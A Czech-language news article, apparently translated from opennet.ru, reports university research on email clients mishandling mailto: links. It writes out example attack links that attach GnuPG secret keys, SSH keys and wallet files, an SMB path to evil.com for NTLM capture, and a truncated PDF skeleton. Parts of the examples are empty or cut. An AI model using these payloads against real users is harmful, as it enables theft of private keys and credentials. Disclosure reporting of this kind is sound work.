Výzkumníci z Ruhru univerzity v Bochumi (Německo) () chování poštovních klientů při zpracování odkazů „mailto:“ s rozšířenými parametry. Pět z dvaceti zkoumaných poštovních klientů bylo zranitelných vůči útoku manipulujícímu se zdroji prostřednictvím parametru „attach“. Dalších šest poštovních klientů bylo vystaveno útoku zaměňování klíčů PGP a S/MIME, zatímco tři klienti byly zranitelní vůči útoku na extrakci obsahu šifrovaných zpráv.
Odkazy „“ se používají k automatizaci otevírání poštovního klienta za účelem napsání zprávy určitému adresátovi uvedenému v odkazu. Kromě adresy může odkaz obsahovat další parametry, jako je téma zprávy a šablona standartního obsahu. Navrhovaný útok manipuluje s parametrem „attach“, který umožňuje připojit k vytvářené zprávě přílohu.
Poštovní klienti Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) a Pegasus Mail byly zranitelné vůči triviálnímu útoku, který umožňuje automaticky připojit jakýkoli místní soubor specifikovaný prostřednictvím odkazu ve formátu „mailto:?attach=cesta_k_souboru“. Soubor je připojen bez zobrazení varování, takže uživatel si může bez speciálního upozornění nevšimnout, že zpráva bude odeslána s připojenou přílohou.
Například prostřednictvím odkazu ve formátu „mailto:?to=user@example.com&subject=Název&body=Text&attach=~/.gnupg/secring.gpg“ je možné vložit do zprávy soukromé klíče z GnuPG. Je také možné odeslat obsah kryptopeněženek (~/.bitcoin/wallet.dat), SSH klíče (~/.ssh/id_rsa) a jakékoli dostupné uživatelské soubory. Navíc Thunderbird umožňuje připojit skupiny souborů podle masky pomocí konstrukcí ve stylu „attach=/tmp/*.txt“.
Kromě místních souborů některé poštovní klienty zpracovávají odkazy na síťové úložiště a cesty na IMAP serveru. Konkrétně IBM Notes umožňuje předat soubor z síťového adresáře při zpracování odkazů ve formátu „attach=\\evil.com\dummyfile“, a také zachytit NTLM autentizační parametry zasláním odkazu na SMB server pod kontrolou útočníka (požadavek bude odeslán s aktuálními autentizačními parametry uživatele).
Thunderbird úspěšně zpracovává požadavky ve formátu „attach=imap:///fetch>UID>/INBOX>1/“, což umožňuje připojit obsah z IMAP serveru. Přitom se e-maily vytažené z IMAP, šifrované pomocí OpenPGP a S/MIME, automaticky dešifrují poštovním klientem před odesláním. Vývojáři Thunderbirdu byli o problému v únoru a v aktualizaci byl problém již vyřešen (větve Thunderbirdu 52, 60 a 68 zůstávají zranitelné).
Staré verze Thunderbirdu byly také zranitelné vůči dvěma dalším variantám útoku na PGP a S/MIME, které navrhli výzkumníci. Konkrétně útok na Thunderbird, stejně jako na OutLook, PostBox, eM Client, MailMate a R2Mail2, zahrnoval výměnu klíčů, způsobenou tím, že poštovní klient automaticky importuje a nastavuje nové certifikáty předávané v zprávách S/MIME, což napadajícímu umožňuje zaměnit již uložené veřejné klíče uživatele.
Druhý útok, kterému čelí Thunderbird, PostBox a MailMate, manipuluje s vlastnostmi mechanismu automatického ukládání konceptů zpráv a umožňuje prostřednictvím parametrů mailto iniciovat dešifrování šifrovaných zpráv nebo přidání digitálního podpisu k libovolným zprávám, s následným odesláním výsledku na IMAP server útočníka. Šifrovaný text je v tomto útoku předáván přes parametr „body“, a k iniciaci požadavku na IMAP server útočníka se používá tag „meta refresh“. Například: „‘
Pro automatické zpracování odkazů „mailto:“ bez účasti uživatele mohou být použity speciálně vytvořené dokumenty PDF — akce OpenAction v PDF umožňuje automaticky spustit zpracovatel mailto při otevření dokumentu:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Zdroj: opennet.ru
